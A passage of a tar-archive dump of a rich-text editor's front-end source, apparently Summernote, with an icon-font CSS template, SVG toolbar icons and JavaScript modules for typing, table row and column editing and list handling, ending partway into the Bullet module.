https://github.com/endtwist/fontcustom/blob/master/lib/fontcustom/templates/fontcustom.css */ <% if (fontfaceStyles) { %> <% if (fontSrc1 && embed.length) { %> @font-face { font-family:"<%= fontBaseName %>"; src:<%= fontSrc1 %>; font-weight:normal; font-style:normal; } <% } %>@font-face { font-family:"<%= fontBaseName %>";<% if (fontSrc1) { %> src:<%= fontSrc1 %>;<% }%> src:<%= fontSrc2 %>; font-weight:normal; font-style:normal; } <% } %> <% if (baseStyles) { %> /* Bootstrap Overrides */ [class^="<%= classPrefix %>"]:before, [class*=" <%= classPrefix %>"]:before<% if (ie7) {%>, [class^="<%= classPrefix %>"], [class*=" <%= classPrefix %>"]<% } %><% if (addLigatures) { %>, .ligature-icons<% } %> { display:inline-block; vertical-align:middle; font: normal normal normal 14px <%= fontBaseName %>; font-size: inherit; speak:none; text-decoration:inherit; text-transform:none; text-rendering:auto; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; }<% } %> <% if (iconsStyles && stylesheet === 'less') { %> /* Mixins */ <% for (var glyphIdx = 0; glyphIdx < glyphs.length; glyphIdx++) { %> .<%= classPrefix %><%= glyphs[glyphIdx] %><% if(glyphIdx === glyphs.length-1) { %> { <% } else { %>, <% } } %> &:before { font-family:"<%= fontBaseName %>"; display:inline-block; font-weight:normal; font-style:normal; text-decoration:inherit; } }<% } %> <% if (extraStyles) { %> a [class^="<%= classPrefix %>"], a [class*=" <%= classPrefix %>"] { display:inline-block; text-decoration:inherit; } /* Makes the font 33% larger relative to the icon container */ .<%= classPrefix %>large:before { vertical-align:top; font-size:1.333em; } /* Keeps button heights with and without icons the same */ .btn [class^="<%= classPrefix %>"], .btn [class*=" <%= classPrefix %>"] { line-height:0.9em; } li [class^="<%= classPrefix %>"], li [class*=" <%= classPrefix %>"] { display:inline-block; width:1.25em; text-align:center; } /* 1.5 increased font size for <%= classPrefix %>large * 1.25 width */ li .<%= classPrefix %>large[class^="<%= classPrefix %>"], li .<%= classPrefix %>large[class*=" <%= classPrefix %>"] { width:1.875em; } li[class^="<%= classPrefix %>"], li[class*=" <%= classPrefix %>"] { margin-left:0; list-style-type:none; } li[class^="<%= classPrefix %>"]:before, li[class*=" <%= classPrefix %>"]:before { text-indent:-2em; text-align:center; } li[class^="<%= classPrefix %>"].<%= classPrefix %>large:before, li[class*=" <%= classPrefix %>"].<%= classPrefix %>large:before { text-indent:-1.333em; } <% } %> <% if (iconsStyles) { %>/* Icons */<% for (var glyphIdx = 0; glyphIdx < glyphs.length; glyphIdx++) { %> <% if (stylesheet === 'less') { %> .<%= classPrefix %><%= glyphs[glyphIdx] %> { &:before { content:"<% if (addLigatures) { %><%= glyphs[glyphIdx] %><% } else { %>\<%= codepoints[glyphIdx] %><% } %>"; } <% if (ie7) {%> *zoom: expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '&#x<%= codepoints[glyphIdx] %>;'); <% } %> }<% } else { %> <% if (ie7) {%>.<%= classPrefix %><%= glyphs[glyphIdx] %> { *zoom: expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '&#x<%= codepoints[glyphIdx] %>;'); } <% } %> .<%= classPrefix %><%= glyphs[glyphIdx] %>:before { content:"<% if (addLigatures) { %><%= glyphs[glyphIdx] %><% } else { %>\<%= codepoints[glyphIdx] %><% } %>"; }<% } %> <% } } %> icons/caret.svg000064400000001375151677272030007516 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path d="M122.674,347.863c23.249,0,401.35,0,416.049,0c23.247,0,29.402,23.246,23.247,37.945 c-8.547,14.704-190.075,256.057-204.776,279.303c-8.545,14.701-37.948,14.701-46.494,0C296,641.865,114.127,409.057,105.924,385.808 C93.274,368.714,101.821,347.863,122.674,347.863z"/> </svg> icons/orderedlist.svg000064400000002126151677272030010733 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path d="M83.072,779.246c31.653-22.206,76.371-43.774,76.371-87.973c0-34.427-22.838-55.464-54.488-55.464 c-43.655,0-57.678,44.624-57.678,82.661h-70.74c-2.552-82.131,44.609-145.454,131.813-145.454c66.493,0,124.7,42.183,124.7,112.624 c0,109.011-116.733,117.828-169.523,191.672h171.647V940H-31.75C-31.75,856.275,20.191,821.854,83.072,779.246z M87.426,192.544 H-3.921v-55.037c51.303,1.488,98.146-16.468,106.43-71.504h58.738v359.862H87.426V192.544z M1050.921,90.351H289.056v170.108 h761.865V90.351L1050.921,90.351z M289.781,428.395v168.558h761.97V428.395H289.781z M289.056,933.649h761.865V765.3H289.056 V933.649z"/> </svg> icons/underline.svg000064400000003232151677272030010377 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M908.526,146.582 C888.706,156.816 875.010,171.009 867.419,189.175 C859.828,207.341 856.035,232.713 856.035,265.284 L856.035,549.047 C856.035,610.022 852.133,659.822 844.334,698.446 C836.531,737.077 818.089,774.240 788.998,809.946 C759.903,845.651 719.429,874.367 667.570,896.077 C615.711,917.783 558.158,928.648 494.914,928.648 C428.718,928.648 369.376,917.893 316.885,896.388 C264.394,874.886 224.231,847.742 196.405,814.955 C168.579,782.175 149.702,746.473 139.800,707.842 C129.892,669.218 124.938,623.384 124.938,570.343 L124.938,235.218 C124.938,195.125 117.984,167.780 104.071,153.158 C90.153,138.544 59.799,131.235 12.997,131.235 L12.997,61.702 L465.824,61.702 L465.824,131.235 L451.278,131.235 C408.686,131.235 381.077,138.965 368.428,154.410 C355.779,169.867 349.453,196.799 349.453,235.218 L349.453,570.343 C349.453,631.319 354.515,679.338 364.635,714.418 C374.750,749.498 396.886,779.359 431.039,803.995 C465.192,828.639 506.081,840.953 553.732,840.953 C605.591,840.953 649.958,827.796 686.861,801.487 C723.745,775.177 747.670,743.134 758.639,705.333 C769.599,667.544 775.085,614.819 775.085,547.168 L775.085,261.527 C775.085,174.671 732.709,131.235 647.962,131.235 L647.962,61.702 L965.447,61.702 L965.447,131.235 C947.312,131.235 928.341,136.351 908.526,146.582 ZM932.995,1046.691 L70.468,1046.691 L70.468,975.619 L932.995,975.619 L932.995,1046.691 Z" class="cls-1"/> </svg> icons/frame.svg000064400000003044151677272030007505 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path id="Rounded_Rectangle_8" data-name="Rounded Rectangle 8" class="cls-1" d="M33.324,124.705H984.236a64,64,0,0,1,64,64V843.319a64,64,0,0,1-64,64H33.324a64,64,0,0,1-64-64V188.705A64,64,0,0,1,33.324,124.705Zm137.33,70.961H840.366c74.689,0,137.484-11.46,137.484,62.519V751.656c0,73.975-62.8,87.175-137.484,87.175H170.654c-74.688,0-130.737-13.2-130.737-87.175V258.185C39.917,184.206,95.966,195.666,170.654,195.666ZM-110.419-17.645H1129.55a64,64,0,0,1,64,64V985.6a64,64,0,0,1-64,64H-110.419a64,64,0,0,1-64-64V46.355A64,64,0,0,1-110.419-17.645ZM93.432,52.331h833.1c98.331,0,193.791-6.99,193.791,90.4V803.587c0,157.53-39.24,176.35-193.791,176.35H93.432c-150.047,0-196.033-27.731-196.033-176.35V142.735C-102.6,45.341-4.9,52.331,93.432,52.331Zm1049.3-27.716a35.4,35.4,0,0,1,0,50.4l-112.18,111.1a36.214,36.214,0,0,1-50.874,0,35.385,35.385,0,0,1,0-50.394l112.164-111.1A36.234,36.234,0,0,1,1142.73,24.616ZM40.88,190.263a35.4,35.4,0,0,0,0-50.4L-71.288,28.766a36.224,36.224,0,0,0-50.882,0,35.4,35.4,0,0,0,0,50.4L-10,190.263A36.226,36.226,0,0,0,40.88,190.263ZM1142.73,1007.65a35.4,35.4,0,0,0,0-50.4l-112.18-111.1a36.214,36.214,0,0,0-50.874,0,35.39,35.39,0,0,0,0,50.4l112.164,111.1A36.228,36.228,0,0,0,1142.73,1007.65ZM40.88,842.005a35.4,35.4,0,0,1,0,50.4L-71.288,1003.5a36.218,36.218,0,0,1-50.882,0,35.392,35.392,0,0,1,0-50.392L-10,842.005A36.226,36.226,0,0,1,40.88,842.005Z"/> </svg> icons/row-remove.svg000064400000003537151677272030010524 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Created with Inkscape (http://www.inkscape.org/) --> <svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9496mm" width="3.9511mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" viewBox="0 0 14 13.99474" xmlns:dc="http://purl.org/dc/elements/1.1/"> <metadata id="metadata3451"> <rdf:RDF> <cc:Work rdf:about=""> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/> <dc:title/> </cc:Work> </rdf:RDF> </metadata> <g id="layer1" transform="translate(764.76 127.54)"> <g id="g3692-9" transform="translate(-3524.7 -309.95)"> <path id="path5085-1-5" d="m2764.7 190q-0.2558 0-0.4348-0.17906l-0.8698-0.86975q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l1.8802-1.8802-1.8802-1.8802q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l0.8698-0.86975q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l1.8802 1.8802 1.8802-1.8802q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l0.8698 0.86975q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-1.8802 1.8802 1.8802 1.8802q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-0.8698 0.86975q-0.1791 0.17906-0.4349 0.17906t-0.4348-0.17906l-1.8802-1.8802-1.8802 1.8802q-0.1791 0.17906-0.4349 0.17906z"/> <path id="polygon3366-49-8-3-4" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/> </g> </g> </svg> icons/unorderedlist.svg000064400000001507151677272030011300 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path d="M1032.671,90.351H270.806v170.108h761.865V90.351L1032.671,90.351z M271.531,428.395v168.558h761.97V428.395H271.531z M270.806,933.649h761.865V765.3H270.806V933.649z M160.712,90.351H-9.5v170.108h170.212V90.351L160.712,90.351z M-8.982,596.951 h170.314V428.395H-8.982V596.951z M-9.397,933.649h170.212V765.3H-9.397V933.649L-9.397,933.649z"/> </svg> icons/align.svg000064400000001210151677272030007476 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path d="M63.979,588.966V445.989h606.016v142.977H63.979z M64.008,160.015h770.99v143.971H64.008V160.015z M925.011,873.015H64.008 V729.98h861.003V873.015z"/> </svg> js/base/editing/Typing.js000064400000005140151677272030011337 0ustar00import $ from 'jquery'; import dom from '../core/dom'; import range from '../core/range'; import Bullet from '../editing/Bullet'; /** * @class editing.Typing * * Typing * */ export default class Typing { constructor() { // a Bullet instance to toggle lists off this.bullet = new Bullet(); } /** * insert tab * * @param {WrappedRange} rng * @param {Number} tabsize */ insertTab(rng, tabsize) { const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR)); rng = rng.deleteContents(); rng.insertNode(tab, true); rng = range.create(tab, tabsize); rng.select(); } /** * insert paragraph */ insertParagraph(editable) { let rng = range.create(editable); // deleteContents on range. rng = rng.deleteContents(); // Wrap range if it needs to be wrapped by paragraph rng = rng.wrapBodyInlineWithPara(); // finding paragraph const splitRoot = dom.ancestor(rng.sc, dom.isPara); let nextPara; // on paragraph: split paragraph if (splitRoot) { // if it is an empty line with li if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) { // toogle UL/OL and escape this.bullet.toggleList(splitRoot.parentNode.nodeName); return; // if it is an empty line with para on blockquote } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) { // escape blockquote dom.insertAfter(splitRoot, splitRoot.parentNode); nextPara = splitRoot; // if new line has content (not a line break) } else { nextPara = dom.splitTree(splitRoot, rng.getStartPoint()); let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor); emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor)); $.each(emptyAnchors, (idx, anchor) => { dom.remove(anchor); }); // replace empty heading, pre or custom-made styleTag with P tag if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) { nextPara = dom.replace(nextPara, 'p'); } } // no paragraph: insert empty paragraph } else { const next = rng.sc.childNodes[rng.so]; nextPara = $(dom.emptyPara)[0]; if (next) { rng.sc.insertBefore(nextPara, next); } else { rng.sc.appendChild(nextPara); } } range.create(nextPara, 0).normalize().select().scrollIntoView(editable); } } js/base/editing/Table.js000064400000046120151677272030011117 0ustar00import $ from 'jquery'; import dom from '../core/dom'; import range from '../core/range'; import lists from '../core/lists'; /** * @class Create a virtual table to create what actions to do in change. * @param {object} startPoint Cell selected to apply change. * @param {enum} where Where change will be applied Row or Col. Use enum: TableResultAction.where * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction * @param {object} domTable Dom element of table to make changes. */ const TableResultAction = function(startPoint, where, action, domTable) { const _startPoint = { 'colPos': 0, 'rowPos': 0 }; const _virtualTable = []; const _actionCellList = []; /// /////////////////////////////////////////// // Private functions /// /////////////////////////////////////////// /** * Set the startPoint of action. */ function setStartPoint() { if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) { console.error('Impossible to identify start Cell point.', startPoint); return; } _startPoint.colPos = startPoint.cellIndex; if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') { console.error('Impossible to identify start Row point.', startPoint); return; } _startPoint.rowPos = startPoint.parentElement.rowIndex; } /** * Define virtual table position info object. * * @param {int} rowIndex Index position in line of virtual table. * @param {int} cellIndex Index position in column of virtual table. * @param {object} baseRow Row affected by this position. * @param {object} baseCell Cell affected by this position. * @param {bool} isSpan Inform if it is an span cell/row. */ function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) { const objPosition = { 'baseRow': baseRow, 'baseCell': baseCell, 'isRowSpan': isRowSpan, 'isColSpan': isColSpan, 'isVirtual': isVirtualCell }; if (!_virtualTable[rowIndex]) { _virtualTable[rowIndex] = []; } _virtualTable[rowIndex][cellIndex] = objPosition; } /** * Create action cell object. * * @param {object} virtualTableCellObj Object of specific position on virtual table. * @param {enum} resultAction Action to be applied in that item. */ function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) { return { 'baseCell': virtualTableCellObj.baseCell, 'action': resultAction, 'virtualTable': { 'rowIndex': virtualRowPosition, 'cellIndex': virtualColPosition } }; } /** * Recover free index of row to append Cell. * * @param {int} rowIndex Index of row to find free space. * @param {int} cellIndex Index of cell to find free space in table. */ function recoverCellIndex(rowIndex, cellIndex) { if (!_virtualTable[rowIndex]) { return cellIndex; } if (!_virtualTable[rowIndex][cellIndex]) { return cellIndex; } let newCellIndex = cellIndex; while (_virtualTable[rowIndex][newCellIndex]) { newCellIndex++; if (!_virtualTable[rowIndex][newCellIndex]) { return newCellIndex; } } } /** * Recover info about row and cell and add information to virtual table. * * @param {object} row Row to recover information. * @param {object} cell Cell to recover information. */ function addCellInfoToVirtual(row, cell) { const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex); const cellHasColspan = (cell.colSpan > 1); const cellHasRowspan = (cell.rowSpan > 1); const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos); setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false); // Add span rows to virtual Table. const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0; if (rowspanNumber > 1) { for (let rp = 1; rp < rowspanNumber; rp++) { const rowspanIndex = row.rowIndex + rp; adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell); setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true); } } // Add span cols to virtual table. const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0; if (colspanNumber > 1) { for (let cp = 1; cp < colspanNumber; cp++) { const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp)); adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell); setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true); } } } /** * Process validation and adjust of start point if needed * * @param {int} rowIndex * @param {int} cellIndex * @param {object} cell * @param {bool} isSelectedCell */ function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) { if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) { _startPoint.colPos++; } } /** * Create virtual table of cells with all cells, including span cells. */ function createVirtualTable() { const rows = domTable.rows; for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) { const cells = rows[rowIndex].cells; for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) { addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]); } } } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getDeleteResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; case TableResultAction.where.Row: if (!cell.isVirtual && cell.isRowSpan) { return TableResultAction.resultAction.AddCell; } else if (cell.isRowSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; } return TableResultAction.resultAction.RemoveCell; } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getAddResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isRowSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; case TableResultAction.where.Row: if (cell.isRowSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isColSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; } return TableResultAction.resultAction.AddCell; } function init() { setStartPoint(); createVirtualTable(); } /// /////////////////////////////////////////// // Public functions /// /////////////////////////////////////////// /** * Recover array os what to do in table. */ this.getActionList = function() { const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1; const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1; let actualPosition = 0; let canContinue = true; while (canContinue) { const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition; const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition; const row = _virtualTable[rowPosition]; if (!row) { canContinue = false; return _actionCellList; } const cell = row[colPosition]; if (!cell) { canContinue = false; return _actionCellList; } // Define action to be applied in this cell let resultAction = TableResultAction.resultAction.Ignore; switch (action) { case TableResultAction.requestAction.Add: resultAction = getAddResultActionToCell(cell); break; case TableResultAction.requestAction.Delete: resultAction = getDeleteResultActionToCell(cell); break; } _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition)); actualPosition++; } return _actionCellList; }; init(); }; /** * * Where action occours enum. */ TableResultAction.where = { 'Row': 0, 'Column': 1 }; /** * * Requested action to apply enum. */ TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 }; /** * * Result action to be executed enum. */ TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 }; /** * * @class editing.Table * * Table * */ export default class Table { /** * handle tab key * * @param {WrappedRange} rng * @param {Boolean} isShift */ tab(rng, isShift) { const cell = dom.ancestor(rng.commonAncestor(), dom.isCell); const table = dom.ancestor(cell, dom.isTable); const cells = dom.listDescendant(table, dom.isCell); const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell); if (nextCell) { range.create(nextCell, 0).select(); } } /** * Add a new row * * @param {WrappedRange} rng * @param {String} position (top/bottom) * @return {Node} */ addRow(rng, position) { const cell = dom.ancestor(rng.commonAncestor(), dom.isCell); const currentTr = $(cell).closest('tr'); const trAttributes = this.recoverAttributes(currentTr); const html = $('<tr' + trAttributes + '></tr>'); const vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]); const actions = vTable.getActionList(); for (let idCell = 0; idCell < actions.length; idCell++) { const currentCell = actions[idCell]; const tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: html.append('<td' + tdAttributes + '>' + dom.blank + '</td>'); break; case TableResultAction.resultAction.SumSpanCount: if (position === 'top') { const baseCellTr = currentCell.baseCell.parent; const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex; if (isTopFromRowSpan) { const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html(); html.append(newTd); break; } } let rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10); rowspanNumber++; currentCell.baseCell.setAttribute('rowSpan', rowspanNumber); break; } } if (position === 'top') { currentTr.before(html); } else { const cellHasRowspan = (cell.rowSpan > 1); if (cellHasRowspan) { const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2); $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html)); return; } currentTr.after(html); } } /** * Add a new col * * @param {WrappedRange} rng * @param {String} position (left/right) * @return {Node} */ addCol(rng, position) { const cell = dom.ancestor(rng.commonAncestor(), dom.isCell); const row = $(cell).closest('tr'); const rowsGroup = $(row).siblings(); rowsGroup.push(row); const vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $(row).closest('table')[0]); const actions = vTable.getActionList(); for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) { const currentCell = actions[actionIndex]; const tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: if (position === 'right') { $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>'); } else { $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; case TableResultAction.resultAction.SumSpanCount: if (position === 'right') { let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10); colspanNumber++; currentCell.baseCell.setAttribute('colSpan', colspanNumber); } else { $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; } } } /* * Copy attributes from element. * * @param {object} Element to recover attributes. * @return {string} Copied string elements. */ recoverAttributes(el) { let resultStr = ''; if (!el) { return resultStr; } const attrList = el.attributes || []; for (let i = 0; i < attrList.length; i++) { if (attrList[i].name.toLowerCase() === 'id') { continue; } if (attrList[i].specified) { resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\''; } } return resultStr; } /** * Delete current row * * @param {WrappedRange} rng * @return {Node} */ deleteRow(rng) { const cell = dom.ancestor(rng.commonAncestor(), dom.isCell); const row = $(cell).closest('tr'); const cellPos = row.children('td, th').index($(cell)); const rowPos = row[0].rowIndex; const vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $(row).closest('table')[0]); const actions = vTable.getActionList(); for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } const baseCell = actions[actionIndex].baseCell; const virtualPosition = actions[actionIndex].virtualTable; const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1); let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0; switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.AddCell: const nextRow = row.next('tr')[0]; if (!nextRow) { continue; } const cloneRow = row[0].cells[cellPos]; if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber); nextRow.cells[cellPos].innerHTML = ''; } else if (rowspanNumber === 2) { nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].removeAttribute('rowSpan'); nextRow.cells[cellPos].innerHTML = ''; } } continue; case TableResultAction.resultAction.SubtractSpanCount: if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; baseCell.setAttribute('rowSpan', rowspanNumber); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (rowspanNumber === 2) { baseCell.removeAttribute('rowSpan'); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: // Do not need remove cell because row will be deleted. continue; } } row.remove(); } /** * Delete current col * * @param {WrappedRange} rng * @return {Node} */ deleteCol(rng) { const cell = dom.ancestor(rng.commonAncestor(), dom.isCell); const row = $(cell).closest('tr'); const cellPos = row.children('td, th').index($(cell)); const vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $(row).closest('table')[0]); const actions = vTable.getActionList(); for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.SubtractSpanCount: const baseCell = actions[actionIndex].baseCell; const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1); if (hasColspan) { let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0; if (colspanNumber > 2) { colspanNumber--; baseCell.setAttribute('colSpan', colspanNumber); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (colspanNumber === 2) { baseCell.removeAttribute('colSpan'); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: dom.remove(actions[actionIndex].baseCell, true); continue; } } } /** * create empty table element * * @param {Number} rowCount * @param {Number} colCount * @return {Node} */ createTable(colCount, rowCount, options) { const tds = []; let tdHTML; for (let idxCol = 0; idxCol < colCount; idxCol++) { tds.push('<td>' + dom.blank + '</td>'); } tdHTML = tds.join(''); const trs = []; let trHTML; for (let idxRow = 0; idxRow < rowCount; idxRow++) { trs.push('<tr>' + tdHTML + '</tr>'); } trHTML = trs.join(''); const $table = $('<table>' + trHTML + '</table>'); if (options && options.tableClassName) { $table.addClass(options.tableClassName); } return $table[0]; } /** * Delete current table * * @param {WrappedRange} rng * @return {Node} */ deleteTable(rng) { const cell = dom.ancestor(rng.commonAncestor(), dom.isCell); $(cell).closest('table').remove(); } } js/base/editing/Bullet.js000064400000012674151677272030011326 0ustar00import $ from 'jquery'; import lists from '../core/lists'; import func from '../core/func'; import dom from '../core/dom'; import range from '../core/range'; export default class Bullet { /** * toggle ordered list */ insertOrderedList(editable) { this.toggleList('OL', editable); } /** * toggle unordered list */ insertUnorderedList(editable) { this.toggleList('UL', editable); } /** * indent */ indent(editable) { const rng = 